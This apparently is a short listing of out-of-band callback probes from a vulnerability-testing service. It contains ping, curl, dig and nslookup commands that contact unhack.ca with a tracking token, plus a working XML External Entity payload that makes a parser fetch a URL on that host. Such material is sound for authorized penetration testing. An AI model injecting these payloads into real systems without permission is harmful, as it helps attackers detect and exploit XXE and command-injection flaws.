$ ping -c1 -p 002b81aa8db9dbb0ce8305e89e794f00 unhack.ca
 

$ curl http://unhack.ca/p/2b81aa8db9dbb0ce8305e89e794f
 

$ dig 2b81aa8db9dbb0ce8305e89e794f @unhack.ca
 

$ dig 2b81aa8db9dbb0ce8305e89e794f.ns.unhack.ca
 

C:\> nslookup 2b81aa8db9dbb0ce8305e89e794f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2b81aa8db9dbb0ce8305e89e794f">]>
    <foo>&xxe;</foo>